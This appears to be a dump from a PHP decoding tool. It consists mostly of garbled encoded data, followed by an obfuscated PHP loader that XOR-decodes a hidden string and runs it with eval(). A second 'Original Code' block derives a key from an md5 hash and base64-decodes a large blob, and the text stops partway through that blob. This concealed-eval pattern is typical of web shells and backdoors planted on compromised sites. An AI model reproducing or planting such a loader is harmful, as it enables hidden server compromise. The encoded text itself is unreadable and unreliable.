Zd74WQ	PgNVSG7E_v[WP %26XeU@W`R	Uk]yQRQ5	ZN6;GWW	]>VV6SG${13_v[L@ %LXU3W&R	UA]4Q=RQx	 ZaP4W`	o2]VSV50`_Q[cB 5O1X9U~W8R U4]CQaRQR	&Ze@#jWg	iOV3S2n0 m_5[eP @XUnWRUl]OQaRQQ	$Zek@WO	@>uVSGq0T_\[WR 2zXUTWR2U@]_Q7RQt	eZMO4W`	A2]VSV513_l[LB =D1XUjW8R U4]GQd RfQZ	:ZaPg|WM	RcuVSkt1z_\[e7 9NXgUvWR	UB]OQaRQQ	$ZS@#nW[	h:sVS1?W z_5[SO RXU3W.RU7]eQdRQZ	9Zek@W`	B.sVSn;VV_\[UR =OXUjW8R1U@]GQ'RQp	9ZeknWO	M&VVSDH32_l[`P ayXUPWRUl]_QRQZ	gZUP#jWa	BcNVSGbD0_r[RA D6XeU@W`RUP]DQ 0RQh	gZY5#JWW	5V6SF0v6l>_r[eR N6XdULW`RUk][Q0RQQ	fZd5#hW[	k2iVSmBX_Q[Rj %lX9UHW.R	Uh]OQ"3RfQZ	 ZaP#KWO	M 1VSGD0T_l[X7 5O1X?ULW R2UN]}Q RgQR	)ZOPNW`	6 iV3SXWU_r[RB AXUnWRUP][QgRQg	bZSl;hW`	COV3SVv0X_w[Wl 2yXU@WRUk]CQaRQR	 ZQl?TWa	>~VS1?40X_V[c@ 527XeUPW<RUl]OQRdQE	$ZSA;GWT	]MV6SDJW_v[Wl 52XdU?W R2UC]4Q$6R9QZ	 Zbj#JWP	BcOV3SHQ30`_F[cl =37XUHWR2U@]\Qb7RQd	)ZVQ3FWO	@>VVSmnSU%_V[WR 5hX.U@WRU@]CQ3ReQk	+Zc54WU	B:sV6SDr l_i[SB =O6XULW&RUB]KQ-RQR	fZVP#hWU	B.OV5SE0W_4[dR 5lXUjWRUA][Q" RgQR	$ZT5#lWS	k kVS2#4 0!_l[c@ 5jX:UPW`R U4]yQb RdQt	:ZbBTWX	P~VST0E-_o[dk hXUvWRUB]OQ3RfQR	:ZaPgWU	C OVSjD 2=_r[`j %l6XUjW.R U4]DQ RQB	
Ze_5Wa	5iVSl412_1[dQ 5LXUPWRUk]CQaRQR	&ZbjfBWg	BhV3S0;O6k_S[cO 6{XUTW:RUj]CQ1R.QN	eZbB;TWP	BcsVSn?j3H1_O[U_ DXU~W`RUR]OQRQB	'Zd@TWg	S OVSEW7G_r[e5 "{XfUTW.RUk]zQe3RdQ5	ZSP_WL	@AVSGowV_1[U_ DXU~W:R
Um]GQf7RQZ	$Zd5$}WV	5g5VSlr m_F[eP 26X.U\W8RUN]eQ6R?QZ	Zb@3lWS	k AVSGnB l_i[eP @XUnWRUj]eQb1RgQR	ZR40|W[	oMVS3?47D_r[S@ 5LXeUPW.RU5]}Q$RQB	ZbjfBWg	BhV3S0;r0!_\[e5 `LXUjWRUk]5Q!RQB	
Ze_5WQ	P23VSm1U!_1[d_ 6{XUTW<R7UQ]4Q<7RQ1	9Zek@W`	k:5VSn'O30_G[T_ 9n7XUbW&RUQ]CQ<RQt	 ZQj#JWQ	P:NVSmn17H_s[cj `D1XUTW;R7U6]fQ RdQZ	ZbO0}WO	@iVSmnjW_l[OB =R7X.UbWRUP]KQc7RQZ	$Zd5$}W[	7MVSm v 2_P[[B L6X.UjW8R	Uk]uQ1R.QJ	:ZMB?TWU	M:}V3SE;I7D_\[WR =nX9U~W`RUR]OQRQk	gZRO?hWa	M2uVSWjW_v[LB 5nXUTWRUl]_Q<RfQZ	gZd5TWM	F"3V3S2o3V_[[@ @XUnWRUj]eQb1RgQR	ZR40|Wg	hsVSn'O7D_r[S@ 5LXeUPW.RU5]}Q$RQB	ZbjfBWg	BhV3S0;J 2_r[U_ 0XUjWRUk]5Q!RQB	
Ze_5WQ	P23VSn'k0U_3[U_ 6{XUTW<R7UQ]4Q<6R9Qg	bZQl;BWS	RoVSjHG=_v[e@ R1XUPW.RU5]}Q$RQB	ZbjfBWg	BhV3S0;q30_O[X4 lXU~W`RUR]OQRQ5	ZN6;GWW	]>VVSmnSU%_V[Pj 52XUjW.R7UC]aQRQZ	 ZMB3hW[	n:iVSm/q10!_l[L@ n1X9UHW RUh]}QRfQJ	Zd_?hWa	M2uVSUnJ 2_r[U_ {XUHW8R7UP]CQ'0RQg	+Zb@3lWS	k 3VSn23z_U[`P `lXU~WR
Um]GQfRQZ	 Zbj3lWS	k 3VSn23z_U[`P `lXU~WR
Um]GQfRQt	!ZeR3IW[	h.iVSk07G_r[e5 "{ X.ULW R2U@]DQ/3RfQI	+Zc54WW	_VSlr2_F[e_ 9n7XUbW&RUS]5Q RdQZ	ZbBlWS	k kVSF?413_O[S4 z6XU\W&R
Ul]OQ7RQZ	$Zd5$}WV	7._VS1?20W_r[SO MXUnW-RU4]5Q%RQV	&ZN6;GWW	]>CVSlr 0!_3[c@ OXgUvWRUA]8Qc1ReQB	Zd_?hWa	M2uVSUov6k_\[X5 %jXUnWfR2UB][QRQZ	ZR@g|WW	k:}VS04 l_i[cj `D1XUTW;RUh]}Q=0RQZ	eZTRlWS	k kVSj4 2=_P[NR RXU3W RUh]eQ<3RQI	bZeR3jW[	n:@VSGD6m=_G[NR RXU3W RUh]eQ<3RQI	bZeR3jW[	n:@VSGDX_r[X7 =lXUjWRUA][Q"0RQZ	gZZ@0Wc	6:OVS2r m_F[eP OXUPW.R	Uj]\Qb R8QB	?ZbjfBWg	BhVS10012_l[RR RXUTW`R	Uh]OQd3R.QF	ZT_BWT	R.@VSmnt0U_1[[@ 6zX>UTWR U5]eQb R?Q5	%ZVj34WX	S oVSjHE_r[dk hXUvWRUB]OQ3RfQR	:ZaPgWU	C OVSjD 2=_r[`j %D1X9U~WR	Uk]GQRQB	ZbjfBWg	BkV STD0U_1[e5 `D6X8U@WRUk]zQdRQF	ZeO?hWM	R:sVSn;4 3_O[c@ 5L7XfUTW<RUl]OQRQh	 Zd@TWg	S }VS3'rV_@[cj `D1XUTW;R7U6]aQ  RgQR	eZUPfjWL	RuVSk;KE`_p[SA 5@XUnWRUQ]8Q" R.QI	bZSihWa	B:uVSlD0`_s[[B 2zXUvWfR	Uh]OQ'3R.QJ	ZOP4Wa	7:3VSn23z_o[[B 2zXUvWfR	Uh]OQ'3R.QJ	ZZBJWL	BkV3SX2U_W[dB AXUnWRUj]eQb1RgQR	ZR40WU	C MVSlr7D_r[S@ 5L6XfU3W RUh]eQ<3RQd	ZMOBWU	BuVSk;KV>_1[SO 9n7XUbW&RUQ]CQ<RQZ	 ZMB3hWT	B@VSmo3V_[[@ @XUnWR2UA]uQgRQB	fZV_Wg	h.MVSEt0U_1[[@ 90XUjW&RUm]aQ=6R9Qg	bZbO0}WO	C NVSlBF_[NO YXUTWRUA]CQaRQR	 ZQl?TWX	RcsVSn?j3D_\[WR =nX9U~WRUk]5Qc1R.QJ	:ZY5#jWg	okVSn'k0U_3[UP 5jX:UPWfR2UB][QRQZ	
Zc54WW	4 uV ST{X_\[d_ 3XUbWR7UN]OQ3RfQI	+Zc54WW	7:sV6SDr2_F[e_ 9n7XUbW&RUS]4Q'0RQg	+ZbBlWS	k kVSF?V 3_3[TP `lXUTW&RUB]_QfRQx	9Zek@W`	k>5V6SGfDG_v[UR z7XUbW.R7UN]LQfRQB	
Ze_5WQ	P23VSj;BW_v[Wl 52XUjWRUk]8QRdQI	$ZSAGW`	k>uV3SD;232=_r[Ri R6XeU@W`R	Uh]OQd3R.QF	9ZZB4WW	5V6SD;q7D_r[S@ `DXUTW`R	Um]4Q$RdQw	$ZK4?IWc	6:OVS2rE`_Q[O6 =AXUnWRUQ]8Qc6R9Qh	'ZRB?TWU	M:}V3SE;I7D_3[cB 5nX?UvWR	Uk]GQ"7RQE	$ZOP3JWU	B&uVSmbWU!_o[dk F6X:UnWRUQ]8Qc1ReQB	ZdP3hWM	PMVSm/V 3_Q[Lj `lX>U@W&RUB]KQ-RQV	
Zaj#BW`	MkV3SVO32=_V[c@ ayXU~W&RUR]_Q"RQR	$ZY7;jWT	A>~VSj;BW_v[Wl 5HXUPWRUA]CQaRQR	&ZeAGW`	A:kVSmk1z_P[SA 5@XUnWRUQ]8QcRQF	 ZQl?TWX	Q>OVS1v6m2_0[`P O5XgUjWR U4]GQ$RfQJ	Zd_?hWV	7._VSk03_\[Lj `lX>U@W&RUC]GQ  R.QN	ZMOjWM	R:iV3SWWU_r[RA A6X:UnWRUl]OQaRQR	&ZeABWO	M&VVSGb50_r[RA D6XeU@W8R Um]GQ 1R.QJ	:ZY5#jWg	oiV3SWWU_r[RA l6XUTW8RUC]_Q"0RQZ	gZZ@?6WQ	R:uVSk;k6m2_4[cO 6{XUPW8R U4]4Q7RQ1	ZVi_WL	BNVSG7G_r[dk 35X.U@WR7UN]bQ 6R9Qg	fZaPhWc	4}V3SDS32=_r[cl 9RXUjW.R7UN]CQRdQ5	Ze_nWg	M:_VSkWE`_Q[O6 =AXUnW8R2UA]uQ1R.QJ	:ZMB?TWU	M:}V3SE;I7D_}[cB =n1XU\W&RUC]aQRQ5	%ZdO?4W`	7csVSn?j3H1_O[U5 %DXU@WRUm]KQ< R?Q5	%ZOPTWQ	POVS38v7Ed_o[dk F6X:UjWfRUh]}Q3RdQZ	ZU_?hWa	M2uVSWj0W=_3[LO lXUjW`RUR]OQRQB	'Zd@TWU	M:}V3SE;I7D_r[Rl =n6XU\WR7US]aQRQk	$ZRB?TWU	@RVSGNm`_l[Uj 90XU@WR0U@]CQRQB	:ZRQ?4WQ	P:kV ST?D7H_0[UA 9j1XUnWR
Uh]eQ7RQF	ZZQrWM	P.^VSFl7D_r[S@ 26XfU3WRU^]}Q RQx	!ZcAvW[	7RVSH'Nm_Q[WB tXUHWRU@]_Q< R?Q5	&ZN6;GWW	]>3VSn23z_o[[B =n7XUbW&RUk]DQ 7RQE	$ZR@3JWW	4 }VS3'rV_@[cj `D1XUTW;R7U6]fQ 0RQZ	gZZ@#BWS	R@VSmbD31_s[eR =n7XUbW&RUk]DQ RfQJ	Zd_?hWa	M2uVSUov0U_1[[@ %DXUjWRUA][QfRQl	ZRO?6Wa	2]VSV5W=_v[U_ zX>UDWRU@]eQb1RgQR	ZR40|WL	]:OV6SFj k`_p[SO 926XUTW`R	Uh]OQd3R.QF	9ZZB35Wa	@ouVSk;KV>_r[SO 6z5XeU\W.R7UB]OQ7RQ1	9Zek@W`	@NVSG533_0[e7 5LXfUjW R2UB]KQ$RfQJ	Zd_?hWa	M2uVSUnq0W2_}[cB jX:UPW8R	Uk]uQ"RfQJ	Zd_?hWa	M2uVSUnq0W2_}[cB jX:UPW8R	Uh]OQRQZ	 ZVl3NWO	]kV3SV?413_O[S5 `l1X>UDWfR2UB]aQ' R9QJ	ZdPhWO	R.MVSn;V31>_}[b5 2XUjW.R7UC]aQ RfQh	:ZMOhWM	Rc@VSk0V_\[d_ 3XUbWR	Uh]OQd3R.QJ	:ZMBHWL	M NVSG7E_v[WP %26XeU@WfRUh]}Q3RdQZ	ZU_?hWa	M2uVSWjW_v[LB 5nXUTWRUk]8QRQt	9Zek@W`	k>}VSEj2_@[e5 527XfUjW`R	Uh]OQd3R.QF	9ZZB;hW`	AOVSlj ka_5[[@ R5XgUbW RUh]LQ/ RdQ1	9ZOO|WP	M2iV3SXWU_r[RA DXUvWR	UB]OQaRQR	&Zek5Wc	OV3SH8v6m2_0[`P nXUjWfRUk]DQ 3RdQZ	fZMB?TWU	M:}V3SHD0`_Q[d_ h1XUjWRUm]_QRQZ	9Zek@W`	k:5VSn'O30_G[T_ 9n7XUbW&RUQ]CQ<0R QI	fZY46WQ	P:NVSmn17H_s[cj `D1XUTW;R7U6]aQ R.QJ	 ZT_0}WO	@iVSmnR V9_s[O6 =AXUnW8R2UA]uQ1R.QJ	:ZMB?TWU	M:}V3SE;I7D_1[Wl :yXUTWRUk]8Q7RQV	'ZRO?hWa	M2uVSWj13_0[L4 0XUjW8RUR]OQ RQp	ZN6;GWW	]>kV6SG/O1z_l[LB 9RXUjW.R7UC]aQ7RQJ	:ZNB;IWg	M:3VSTWV_q[e@ RXUjW.R7UC]aQ7RQJ	:ZNB;IWg	M:3VST47H1_[O6 =AXUnW`R	Uh]OQd3R.QF	9ZZB;hW`	AOVSlj k`_s[NP n6XU7W.RUk]DQ RQB	
Ze_5WQ	P23VS1?WW_V[cO 6{XUPW8RUR]eQ7RQZ	$Zd5$}W[	7MVSm v 2_P[[B LXUTW:R	Uh]eQdRQA	gZK4?6W`	kVSHjU_r[RA D6XeU@W`RUP]GQRgQV	)ZRO4WU	M:}V3SE;I7D_\[WR =nX9U~W`RUR]OQ1R:QV	%ZZ@3IWU	B._VS1?413_l[dP n1X9UHW RUh]}QRdQ5	gZe_5W[	k:kV3SVW31>_r[e_ 906XfUjW`R	Uh]OQd3R.QF	9ZZB35Wa	@ouVSk;KV_5[SO 90XUTWR7UN]OQ3RdQw	$Zd_?6W`	7:kVSF?413_O[S4 6zXUjWR2U@]_Q< R?Q5	%ZaPTWa	6 kVSn'V 0!_C[NP 27XdUTW-R7UP]eQb1RgQR	ZR40|Wg	iOVS0j k`_s[`_ 90XUTW.R7UB]fQ-1RdQ0	$Zd_?6W`	7:3VSn23z_o[[O 3X UHW.R7U6]aQRQA	cZZ@4Wa	5~V3SWnt0U_1[[@ 90XU~WR U7]eQd0RQ5	ZSPTWL	BiV3SXD1n_s[cj `D1XUTW;R7U6]fQ.0RQh	 ZMP#JWQ	P:~V3SWnj1_0[L@ %D1X UDW RUh]eQ$0RQw	cZOOW`	|"3V3S2c2U_S[NQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVSm#V13_}[eB 2zX UDW&RUk][Q7RQY	bZeR3jWT	@iVSmnj7H1_v[O6 =AXUnWR U5]eQ RdQ5	Zbl35Wa	@ouVSmc40`_[[@ R6XUTW8RU@]eQ'0RQg	+Zb@_WO	@3VS38y0X_}[WR =R7X.UbWRUP]KQc1ReQB	ZZ@3IW`	|"iVSm/q10!_l[L@ n1X9UHW RUh]}QRdQ5	gZdR;TWX	POV3SHQ30"_r[e_ 90XU3WR7UN]OQ3RdQ4	cZZ@4WW	4 uV ST{X_[`_ 9nXUjWR2U@]_Q'7RQF	ZdPIWU	A }VSl4W_3[LP `3XUPWRUA][QRQR	$ZY7;jWT	A:kV5SH8y0X_}[WR =RXUrW:RUB]aQRgQV	)ZVPFWO	@>VVSmnS7Ed_F[Wj %3XUbWRUB]_Q<RQx	9ZeknWO	M&VVSDH32_l[`P ayXUPWRUl]_Q3RgQQ	fZd73jWc	4OVS0SE_o[dk F6XULWRUN]@Qc1R>QJ	!ZVi5WO	F"3V3S2c2U_S[NQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVS38v13_\[W_ 2XU3W.RU7]eQdRQ5	ZN5IWg	B.MVS22 3_Q[UR =O1XUHW.R7UA]GQ RfQZ	$ZSj#JWg	]:}VSH?40`_@[[B tX9UTW-RUN]CQ 1R:Qd	)ZY4?6WM	C3V3S2bk0U_1[e5 `D6X8U@W`R7U|]eQ<1R8QB	)ZVi?6WS	h~V3S3W1m_3[TR 2y6XeU@W`R U5]bQ 1RgQV	&ZVP6WW	:]VSV7H _1[Wj k0XULWRU5][Q 0RQd	<ZS6]Wf	hmV5SzH32_l[`P ayXUPWRUl]_Q1RdQt	?ZU_?hWa	S kVS27E_v[c@ az1XU\W8RUN]@Qc1RdQt	gZb@34Wa	2]VSV510!_1[WR 5hXUHW.R7US]_Q"0RQ5	&ZN6;GWW	]>uV6SH'S 31_s[[@ 5RXULW.R7U@]\Q%7RQ1	9ZeknWO	M&VVSj0sj!_i[ej pXUeW{RUo]nQ"RQ8	$ZMBorWV	|1lVSzQz_r[JD S X.UDWRUB]LQ8RQ8	$ZT}rWO	F!lVS0ovD_r[Jm sXUTWRU|]OQRQA	<ZJBorWV	pVSC j0m_r[LC tXUTWRU|]LQ RQA	#ZLDUWV	WVSDnEm_r[U} tXUqW#RUE]_QR.QA	$ZMCuWI	V=wVSwj<p)|_>');$c='';$d=0;$e='';for($f=0;$f<strlen($b);$f++){$d=$d==strlen($a)?0:$d;$e.=$b[$f]^$a[$d++];}for($f=0;$f<strlen($e);$f++){$g=$e[$f];$c.=$e[++$f]^$g;}eval($c); 
 ?>

Did this file decode correctly?

Original Code

<?php 
$a='f20230218';$a=md5($a);$b=base64_decode('VsSOg1Oe_8[tu =g1X7UiW0R6U.]/QrdRQ1	vZ7Fr3W0	 dAVrS6$d1`_ [4D t4bXqU1W`RcU#];Qn`RlQ%	aZD"`5W'	2n"V`S5r6c%b_<[$5 5qXbUEWqRdU4](QaRqQ6	gZ%1`<W'	0"VaS5r7j%c_6[$0 b&cXcU#WbRU2](QeRqQ6	eZ30r3WC	'<VsSOg10_8[%H a3XU6WR`U[]#QsRdQ0	ZO73W_	+rHVgS0Nb[f_6[\) uLdXdUIWRcU]]>QgRoQ$	Z0H5W2	8rHVgS0Nb[f_6[\) uLdXdUIWRcU]]<QgRzQ$	Z07JW2	^d3V
S.sNb0_J[1\ `3	XzU"WRcU6]BQbRQ2	gZ]<sJWM	57VgS=sNbO_5[1\ a^zXpUIWdRcUI]BQg	ReQ8	Z.#5W2	J7VS3
/vOe_J[N7 aXdX	U(WpRU6]BQbRdQ[	bZ])sJW2	5HVgS[e5;q_J[N7 a3dXiU"WRcU6]BQbRQ7	Z.#5W2	J7VS1d\i$_5[1H aLzXiU"WRcU6]BQbRQ2	aZ])sJW2	5HVgS[d7.q_J[17 LdXU4WmRU(])QbRdQO	Z0\e3W_	+rHVgS0Nb[f_5[\) uLdXdUIWRcU]]>QeRzQ$	Z07JW2	^e2V
S.sNb0_J[1\ c5	XzU"WRcU6]BQbRQ3	cZ]<2sWc	i~#VS0gNbO}_'[KB it X.UGW#RUB]=Q>RQ1	ZWR}W`	7PV2SnT2_1[TO sXUbWRUm]aQ: RQB	<ZQPbQWW	kWVSV3I6G_0[X7 dDX9UrW%R7US]_Q$R?QJ	ZWB5WP	RgVV SlKkd_R[UB 1X9UbW>R7US]yQRQt	?ZQ4SWg	RolVSl?pV_j[[l h[0XgUHWbR0UC]iQ"R9Ql		ZbO?QWa	niV ST;B6k!_s[dk 2XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQQ	$ZSA;GWW	Q:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSDDk2_w[L} JXeU_WeRUS]8QRQJ	2ZYSwWO	i56V6SmhT_J[TS wXUWWgRU5]iQR9Q1	ZRCWWf	P6V4SnwWd_4[R} qXUCWeRUR]WQ-RQJ	bZYSSWf	76V4Sl83V_][SC w5XU6WdRU@]OQRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$Zek@WO	@>NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Vl 92XUvWR7UP]KQ6RQV	ZWl?4WW	S&NV3SV`H_W[Wk =AXUvWR7UR]eQ 3RdQZ	gZd74Wg	@}V3SGB z_1[LO lXUTWRU^]CQRQI	$ZSOjWL	S @VS3'rV_@[eP %n6XU7W.R	Uj]GQbRfQI	fZbOnWg	C}VSE01l_s[eR &zXUPWRUA]CQaRQR	:Zd45WM	]2@VS3?r12_0[e7 =n6XUjW&R7U5]aQ  R>QB	$ZRR/TWW	>kV4SWED_\[Ul dV1X8UTWRUA]CQaRQQ	$ZSB4|Wg	@}VS1?412_G[TR 9NXgUvWR7UP]jQ/1R.QJ	:Zbl|Wg	QMVS1E6m_0[UR =YXU7WR U5]eQ1RgQR	:ZQl3hWa	@&uVSn;412_1[dQ 5LXUTW<R Um]HQ  RQd	)ZY4?KWW	QAVSHW1m_r[e4 37XUPWRUN]CQ<RQ5	Zbl}Wg	kRV5SG#vG-_o[[B dtXUTWR0UB]aQ;RQF	eZVO0}WO	C oVSjH7G_}[LO lXU~W8RUR]OQ3RdQZ	fZQl3hWM	RcuVSkjV_[X5 nXUPW RU5]eQ RQZ	 ZT5#JWP	C NVSG7H_\[UR =n7XUbWR U7]eQ RfQh	ZR@3JW`	7cOVSl?W 2=_l[S7 jXUTWR7U4]4Q" RdQZ	
ZVR3jW[	n2AV4SD2U_S[cj %l5XeUPWR7U@]_Q7RQF	eZU7}Wg	B2JVSUj1l_Q[UR =O1XUHW.R7UA]GQ RfQZ	$ZSj#JWP	B@V4SEj1l_s[[O 07XfUHW8R	Uj]eQ1RgQQ	bZeR3jWT	C@VST;ll_V[bB {XUPWRUl]_Q<1R:Qd	)ZVPFWO	@>~V3Sz;t32=_w[WR 53XU@W`RUA]uQ R>QF	ZeB/4Wa	7kVS38v12_3[LO 21XU@WR0U@]CQRQF	ZY5TWQ	PHVSDjE`_s[M5 Y7XUTW<R7UQ]4QRQB	&ZN6;GWT	RcuV6SG#W 3_P[T_ 6t6XU~WRUS]aQcRQV	)ZY5}WU	M>RV5Sm[n_0[Uj 9jXU~WR
Uj]CQRQ5	$ZVB }WX	PiVSDD7D_V[b4 906X>UbWRUP][Q"3RfQh	!ZVR35WT	C3VSG/L j_3[[7 )L7XfUHW8R	Uh]}Q=0RQZ	eZTR|W[	o5VSn8v131_@[[B tXUvW`R7U4]8QRgQd	%ZUj_WW	PAVSGnWU_r[R@ %nX:UTWfR2UB][Q$RQB	ZeA}WM	P"RV4SUj1m_w[dR 5O1X9U~WRUA]CQaRQV	
ZbiBWg	nuVSGq0X1_s[NP nXU~WR0UB]aQ3RgQR	ZQ7;5Wa	M2NVSE;t6k_3[dP `3X9U~WRUk]~Q/ RgQR	eZMOjWM	R:}V3S3WU_r[R@ %nX:UTWfR2UB][Q$RQB	ZeA}WM	PHV4SF5G`_w[[4 90X?UTWRUN]OQ1RgQR	:ZZB|WO	]:MVSn'SF_i[Wi n1XULWfR2UB][Qg RgQc	gZd_TWU	Bc5VSn'E32_l[`P `06X8UPW8RUR]eQ RQ5	%ZNj_W`	5NVSG7G_3[cB =tX UDWfR2UB]KQ$ R>QJ	 ZVR3jW`	ANV SWnWU_r[RA =AXUTWRU5]eQ$0RQh	eZUR?hWa	M2}V3SH0F_O[P6 6tX8UTW`R7U6]GQ< R>QF	ZZ6}WS	RNVSl4131_s[cl y1XU~W.RUk]GQ$1R.QN	ZVPIW[	6&VVSG/1 z_1[c@ `l1X8U@WRUC]KQ" R>QN	gZbOBW[	h.}VS0D0U_C[SO 9tXUvW&RUk]8QRdQw	cZRO?rWM	QsV6SFy30`_p[SA 5@XUnWRUQ]uQ3RgQV	%ZU_?rWM	R&uVSm/I X_r[S@ NXUTW`RUR]eQ<RQ5	ZN6;GWW	]>VVSW/W33_s[TR dj1X?UHWRUP]CQRQ5	ZN6;GWW	]>VVSWb57H_0[Lj `lX>U@W&RUk]5QbRQt	eZQ5fBWg	M2sVSmbS7H_0[Lj `lX>U@W&RUk]9QdRQF	ZeAGW`	A:]VSV5E_p[ci 9tXUvW&RUk]8QRdQ5	%ZblWc	6:OVS2rU_r[RA A6XUjWRUP]KQcRdQE	$ZSBGWO	@>]VSVVE:_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5LXUTW5R	UP]WQ$3RQE	%ZV_;qWO	7PV3SjD0"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NR 92XUvWR7UP]eQb3RfQY	+ZVR34W`	:kVSn213_r[OR 9R6X>UbWRUP]KQ"0R QJ	fZe_nWg	h.MV STjU_\[e@ R7X.UbWRUP]KQ 1R:Qd		ZdOLWN	7.rVSE3WG__[TQ QXfU~W%RUC]iQ<RQV	ZVQ'WWV	SvVSHkU!_\[e7 =lXUWWeR0Uh]XQeR9Qt	`Zb}LWf	i5V3Sl'Gk2_w[T4 RXgUTW R2U@]GQ3RdQ5		Zbj;|Wc	h7VS0/1l%_B[TQ 2X9U~WaR7Uj]_Q'RQJ	bZcmwWO	k5V5SV5n_h[OS w0XUuWeRUP]iQRQV	<ZZQ;GWW	RcsV6SF?Q6m2_4[S4 6z1X8U@W&R2UN]}Q&7RQE	$ZR@3JWW	}VSGrU_r[RO 0XUWWeR7Uh]WQRQU	aZc}wWf	7n5VSHUX_w[[m 1XUKWfR7Uj]}QR?Qg	!ZU4mWf	SWVS0cw3m9_7[W@ =[XfUrW$RU5]_Q%7RQl	<ZVi;uWT	5BVSTH7G_r[cl 5l6XUjW;R7U6]aQ0RQZ	eZT_0}WO	@kV STD7D_Q[L_ l6XUjW&R7U5]@QdRQF	Zek4WM	C6V3SnPV_L[TS 1X.UPW8R	Uh]}Q  R.QJ	ZVP#JWU	RcPV6S0fj0E=_N[TR !oXfU~WdRU6]uQgRQV	8ZZOMWX	MvVSW'SV_I[e@ wXUHW8R
U^]WQ;0RQl	Za5<wWc	A:tVS0c1l1_7[U6 q5XUTW$RUC]GQR?Qg	!ZM}|WI	7=6VSUc0X_4[bm qX:USWeR1UU]yQ#R9Q1	ZZ4TWU	R.rVSE3r6X=_n[TP >0XfU3WRUR]CQgR9QV	ZVP<4WQ	ivV Sk7H _1[Wj n1X8U\WRUm]4Q3RdQ5		ZbOqWO	7PVSWn7H_\[dP %nXUPWR1UA]CQ<0R QI	fZVi|W`	B.}VS3?r7D_r[S@ 5L6XfUTW`RUQ]CQaRQU	gZVjhWg	iOVSknW30`__[ck q XUTW'R UC]}Q$RQU	gZek4WU	M:uVSjW 2-_o[[@ azXU\WfRUk]uQ$3RfQY	fZT5fjW`	B:3VSTD0`_s[[O 9MXgUvWR7UR]eQ RQZ	eZVl4|WV	4 uVSl;tm!_K[[@ )JX8U@WRUo]4Q$R8QF	Zek4WU	M:uVSjW 2-_o[[@ azXU\WfRUk]uQ$1RfQZ	$ZMOTWQ	P:kV STD7H6_1[[@ @XUnW-R7U|]eQ0R QI	fZVi|W`	B.kVSX{6V1_7[Xi k0X:UHW?RUl]OQ7RQZ	$Zbl3jW`	B:hV3S0;J z_0[`i lX9UHWfR2UA]yQ$7RQE	$ZR@3JW`	1VSkB V9_o[dk 2XUvW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRQF	cZcB']WT	:vV6SV420i!_7[RP 06X.UjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]OQ61R?QI	$ZSA;GWT	S uV3SWnS7G_3[TP `D1XU7W&RUm]KQRdQw	$ZRO0W[	ouVSkjE`_Q[O6 =AXUnWfR	Uk]GQb3RfQZ	:Zd7?TWg	@&OVSjv322_4[LO jXUPW.R	Uj]\QeRQt	
ZbA3IWS	S5VS1?Q 19_o[S@ az1XUjW.R	UN]}Q$RQk	+ZMR;hW`	PooVSGWU_r[RB LXfU~WR U5]}Q$6R9Qh	'ZRB?TWU	@&5VSn21z_l[L@ YXUjW8RUC]aQf6R9Qh	)ZM_?6W`	n_VSjHG=_0[c@ `lXU~W.R7US]_Qf0R QI	fZaR;hW[	h:MVSDT0_Q[c@ 2X.UDW&RUh]fQ 1R>QJ	fZMB3jWS	o2kVSn'S0U_1[UP %DX UjW R7UA]uQ<7R?Q5	?ZVPFWO	@>CVSlr 0!_3[cO l6XUTWRU@]eQ6R9QZ	$Zd4|W[	okV ST4V_O[[@ `3XfUTWRUj]@QdRQF	ZeOhW[	k:uVSm2F_1[Rl 2zX UDW&R2UB]XQ 1R9QJ	
ZN_hWT	AkVS1?r0!_G[Wi OXU?WRUQ]CQ0R QJ	fZe_nWg	h.MV STj0X_o[eR 9NXgUvWR	UB]OQ3RfQh	 ZTP#jW`	MkVSEt0T_0[d_ h1X9U~WRUA]5QbRdQ5	%ZZB3hWa	A5V6SDR7H1_p[SA 5@XUnWR2UN]aQ$0RQh	
ZbO4WP	M sVSj;qW_l[`R =RXUTWRUj]CQ$RQV	ZM@#BWg	Q~VSn<v 2=_F[O5 n1X8U@W RUh]eQ3RdQZ	ZO_BWg	i~VSE17k-_p[U7 2XUPW<RUl]OQRdQE	$ZSA;GWW	Rc}VSmk33_s[NP RXUHWRUA]GQR9Q5	:ZTj?6WQ	PHV4SFED_l[SQ 92XUjW8RUR]eQ7RQA	fZTA?lWg	B>^VSn?I7D_Q[[Q tXU~WRU@]GQ:7RQE	$ZR@4W`	7c@VSX'vG-_w[bA pXfUTWRUN]}QR9QJ	ZVBrWL	SJVSFj k-_o[dk 2XUDWfR2UB]KQ$1R.QN	
ZeR3BW`	5iVSlv6m2_}[cB 9R6X>UbWRUP]KQaRQU	gZWj3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:kVSX3i!_J[O6 [0XUvWR
U^][Q  RQ5	%ZOP3HWO	A:iVSD40"_r[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	C&~VSjH6m=_q[SB 9n6XU7W.RUk]DQ RQB	
ZePgWU	C OVSjWV_q[e@ RXUjW RU7]eQ R.QI	cZR@3HWO	@kV3SFV3z_0[LR =RXUPW8R U4]CQaRQR	 ZTPg|WM	S5VSm/rF_O[Pi DXfUvWRU7]CQb1R.QN	ZZOTW`	73V3S0D1k-_@[Li !Y6XdULW8RU@]KQ RQ1	'ZMR?HW[	6&VVSG/BF_[NB 5lX>UDW RUj]CQRQt	
